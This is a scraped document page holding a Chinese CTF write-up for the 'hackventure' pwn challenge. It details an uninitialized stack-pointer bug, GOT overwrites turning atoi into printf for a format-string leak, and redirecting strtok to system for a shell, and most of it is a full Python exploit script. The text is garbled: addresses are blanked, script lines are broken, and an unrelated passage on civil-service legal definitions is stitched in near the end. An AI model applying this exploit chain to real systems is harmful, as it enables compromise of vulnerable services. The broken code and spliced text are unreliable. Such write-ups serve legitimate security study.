玩家 hacker 的结构体 : 地图的结构体 : 漏洞位置 : 在 local_attack 的时候, 使用了未初始化的变量, 如下图所示 : 其中 pointer_on_stack 指针放在栈上, 只有满足条件的时候, 才会被赋值, 所以如果能够让 pointer_on_stack 不被赋值,

Size: px

Start display at page:

Download "玩家 hacker 的结构体 : 地图的结构体 : 漏洞位置 : 在 local_attack 的时候, 使用了未初始化的变量, 如下图所示 : 其中 pointer_on_stack 指针放在栈上, 只有满足条件的时候, 才会被赋值, 所以如果能够让 pointer_on_stack 不被赋值,"

睿宁
5 years ago
Views:

如下 : 其中 * 是玩家, 可以在商店 s 处买武器, 对 S 处的服务进行 attack,attack

1 hackventure 题目简介感觉找了个非预期的漏洞, 显得比较简单了这道题逆向的时候发现比较熟悉, 好像是以前上海信息安全竞赛的一道题的修改版, 通过 list 可以查看功能, 如下 : map 打印当前地图, 如下 : 其中 * 是玩家, 可以在商店 s 处买武器, 对 S 处的服务进行 attack,attack 分为两种, 本地攻击和远程攻击地图中各种元素的初始化位置是随机的结构体介绍其中较为重要的结构体如下 : Server 的结构体 :

2 玩家 hacker 的结构体 : 地图的结构体 : 漏洞位置 : 在 local_attack 的时候, 使用了未初始化的变量, 如下图所示 : 其中 pointer_on_stack 指针放在栈上, 只有满足条件的时候, 才会被赋值, 所以如果能够让 pointer_on_stack 不被赋值, 那么就能利用栈上残留的值来进行任意地址改写可以发现, 在条件判断的时候, 有两处的比较是不一样的, 在 server->name 有值的情

3 况下,name_len1 >= input_size 和 name_len2 > input_size 同时满足的时候能够对 server->name 赋值如果满足 name_len1 == input_size 和 name_len2 == input_size 的时候, 能够满足第一个 if 即 server->name && (name_len1 = strlen(server->name), name_len1 >= input_size), 但是不满足 name_len2 > input_size, 所以此时的 pointer_on_stack 是未初始化的但是后面直接有 get_buff 对该指针所指向的内容进行数据的写入, 所以可以实现任意地址写只有在对 server 进行攻击成功后, 才能对 server 的名字进行设置同时需要多次设置, 因为第一次的时候,server->name 是为 0 的发现在 goodnight 命令里面, 被控制的 server 是有可能失去控制的如下只要失去控制, 就可以再次攻击改 server, 从而实现多次设置其名字攻击思路 : 1. 找最近的一个服务进行 local_attack( 防止超时, 如果需要攻击的次数太多, 直接断开重连 ) 成功控制 server 后, 对其名字进行赋值, 正常设置即可对 server 的攻击过程 : 多次往返于 home 和 server, 每次攻击 server 的能力有限, 而且自己受伤害, 所以需要回到 home 里面休息补充 hp 2. 直接回到 home, 进行休息, 直到所控制的 server 失去控制 3. 用同种方法再次攻击 server, 成功后, 对名字进行赋值, 此时控制名字的长度与第一次输入的一样长, 可以绕过检查, 直接使用栈上残留的值 4. 任意地址改写时, 可以在栈上残留个栈转移的地址, 造成栈溢出 ( 本地成功, 远程不行 ), 或者直接留下 got 地址, 如 atoi 函数的 got, 使得把 atoi_got 中填写成 printf_plt, 那么每次在 deploy 的时候, 实现格式化字符串漏洞, 从而任意地址泄露和改写攻击思路很简单, 但是实际利用有个问题, 那就是如何去控制栈中残留的值, 在 local_attack 函数里面, 改指针所在的位置在 rbp-0x30 处,

4 通过找寻同一级别 ( 位于同一级的菜单函数 ) 的函数, 发现大部分的栈都比较小, 不好控制 rbp-0x30 处的值, 然而, 在 deploy 命令里面, 如下图中, 可以对 buff 的值进行设置, 改 buff 刚好可以残留在栈里面但是, 如果按照题目中直接给出的那种菜单去执行的话, 栈是会被清空的, 主要原因是, 两次命令直接可能会隔了其他函数, 如下图中,parse_args 里面的 strtok 函数, 会对很大范围的栈清空, 所以这里需要稍微留心下, 要把这两个函数连续执行, 即 deploy 完以后, 马上执行 local_attack, 即 :deploy something local_attack 一起被解析, 从而两个 menu 函数在同一个 for 循环中先后被执行所以在前面第二次对 server 进行攻击的时候, 需要留一次 local_attack 命令, 让最后一次的 local_attack 和 deploy 一起当成命令传进去

5 脚本如下 : from zio import * local_sign = True local_sign = False if local_sign == True: target = "./hackventure" else: target = (" ", 1337) #target = ("0", 1337) def get_io(target): r_m = COLORED(RAW, "green") w_m = COLORED(RAW, "blue") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def show_map(io): io.writeline("map") banner = " \n" io.read_until(banner) data = io.read_until(banner)[:-len(banner)]

6 map_info = data.replace(" ", "").split("\n") server_list = [] home_addr = [] store_addr = [] player_addr = [] for r_pos, row_item in enumerate(map_info): for c_pos, item in enumerate(row_item): if item == ' ': continue elif item == "H": home_addr = [r_pos, c_pos] elif item == "S": server_list.append([r_pos, c_pos]) elif item == "T": store_addr = [r_pos, c_pos] elif item == "*": player_addr = [r_pos, c_pos] return map_info, server_list, home_addr, player_addr, store_addr def choose_way(map_info, server_list, home_addr, player_addr, store_addr): now_server = [-1, -1] least_step = 1000 least_id = 0 for now_id, server_info in enumerate(server_list): steps_need = abs(server_info[0] - player_addr[0]) + abs(server_info[1] - player_addr[1]) if steps_need < least_step: least_step = steps_need least_id = now_id now_server = server_info print least_step, now_server return least_id, now_server def move_to(io, player_addr, now_target): r_diff = now_target[0] - player_addr[0] c_diff = now_target[1] - player_addr[1] r_direct = "" if r_diff > 0:

7 r_direct = "DOWN" else: r_diff = -r_diff r_direct = "UP" c_direct = "" if c_diff > 0: c_direct = "RIGHT" else: c_diff = -c_diff c_direct = "LEFT" for i in range(r_diff): move(io, r_direct) for i in range(c_diff): move(io, c_direct) def move(io, direct): payload += "go " payload += direct def explore(io): payload += "explore" def status(io): payload += "status" def local_attack(io): payload += "local_attack"

8 def goodnight(io): payload += "goodnight" def remote_attacks(io, ip_list): payload += "remote_attacks " payload += ip_list def deploy(io, name, data): payload += "deploy " payload += name io.read_until("deploy? ") io.writeline(data) def pwn_server(io, player_addr, home_addr, now_server, leave_ones = False): move_to(io, player_addr, now_server) player_addr = now_server explore(io) io.read_until("location.\n") io.read_until("hp: ") data = io.read_until("\n").strip() server_hp = int(data) io.read_until("defense: ") data = io.read_until("\n").strip() server_defense = int(data) status(io) io.read_until("profile ***\nhp: ") data = io.read_until("\n").strip() player_hp = int(data) io.read_until("attack: ") data = io.read_until("\n").strip() player_attack = int(data)

9 harm_each = player_attack - server_defense times = server_hp / harm_each if times > 16: print "try again" exit(0) if server_hp % harm_each!= 0: times += 1 while times!= 0: now_times = 4 if times <= 4: now_times = times for i in range(now_times): if leave_ones == True and times - i == 1: return now_times, server_defense, player_addr local_attack(io) times -= now_times print "times:", times if times == 0: break move_to(io, player_addr, home_addr) goodnight(io) player_addr = home_addr move_to(io, player_addr, now_server) player_addr = now_server return now_times, server_defense, player_addr def leak_data(io, addr): payload += "buy " payload += "%42$s" payload += " ExploitKit " payload = payload.ljust(0x60, "a") payload += l64(addr)

10 data = io.read_until("go away")[:-len("go away")] return data + "\x00" def leak_addr(io, addr): data = leak_data(io, addr) taddr = l64(data[:8].ljust(8, '\x00')) return taddr def modify_addr(io, addr, data): index = 42 fmt_data = "" addr_padding = "" cur_val = 0 for i in range(len(data)): val = ord(data[i]) - cur_val if val <= 0: val += 0x100 fmt_data += "%%%dc%%%d$hhn"%(val, index + i) addr_padding += l64(addr + i) cur_val = ord(data[i]) payload += "buy " #payload += "%42$s" payload += fmt_data payload += " ExploitKit " payload = payload.ljust(0x60, "a") #payload += l64(addr) payload += addr_padding io.read_until("go away") def get_shell(io): puts_got strtok_got = 0x = 0x puts_addr = leak_addr(io, puts_got) print hex(puts_addr) global local_sign if local_sign: #local

11 offset_puts = 0x f690 offset_system = 0x else: #remote offset_puts = 0x f690 offset_system = 0x libc_base = puts_addr - offset_puts system_addr = libc_base + offset_system modify_addr(io, strtok_got, l64(system_addr)[:3]) #io.gdb_hint() payload += "/bin/sh;" io.interact() def pwn(io): map_info, server_list, home_addr, player_addr, store_addr = show_map(io) now_id, now_server = choose_way(map_info, server_list, home_addr, player_addr, store_addr) now_times, server_defense, player_addr = pwn_server(io, player_addr, home_addr, now_server) io.read_until("name length? ") io.writeline("20") io.writeline("pxx".ljust(20, 'a')) move_to(io, player_addr, home_addr) player_addr = home_addr harm_each = server_defense times = 100/harm_each if 100%harm_each!= 0: times += 1 for i in range(times): goodnight(io) now_times, server_defense, player_addr = pwn_server(io, player_addr, home_addr, now_server, True)

12 payload += "deploy " payload += "test " payload += "local_attack" io.read_until("deploy? ") printf_plt = 0x atoi_got target_addr = atoi_got = 0x data = "" data += "a"*0x8 data += "b"*0x8 data += "c"*0x8 data += "d"*0x8 #data += "e"*0x8 data += l64(target_addr) data += "f"*0x8 io.writeline(data) io.read_until("name length? ") io.writeline("19") io.read_until("name? ") io.writeline(l64(printf_plt)[:-1]) move_to(io, player_addr, store_addr) get_shell(io) io = get_io(target) pwn(io)

13 flag 如下 :

( 含要 ) 1-2 用或雇用, 抑或有無俸給文職或武職, 政官或事官均屬之, 其不以具備人資格為限, 因此屬於最廣義之念四廣義念之依服 24 條之規定 : 本於受有俸給之文武職, 及

( 含要 ) 1-2 用或雇用, 抑或有無俸給文職或武職, 政官或事官均屬之, 其不以具備人資格為限, 因此屬於最廣義之念四廣義念之依服 24 條之規定 : 本於受有俸給之文武職, 及本學習重點研讀首先應釐清不同規對與職人念的定義, 其中之定義從最廣義廣義狹義到最狹義的人, 都會牽涉到規適用上的不同, 而職人涵蓋範圍比更廣, 讀者應注意兩者之間的區別建議讀者與考生於開始研讀之際, 利用本之內容確實

玩家 hacker 的结构体 : 地图的结构体 : 漏洞位置 : 在 local_attack 的时候, 使用了未初始化的变量, 如下图所示 : 其中 pointer_on_stack 指针放在栈上, 只有满足条件的时候, 才会被赋值, 所以如果能 够让 pointer_on_stack 不被赋值,

玩家 hacker 的结构体 : 地图的结构体 : 漏洞位置 : 在 local_attack 的时候, 使用了未初始化的变量, 如下图所示 : 其中 pointer_on_stack 指针放在栈上, 只有满足条件的时候, 才会被赋值, 所以如果能够让 pointer_on_stack 不被赋值,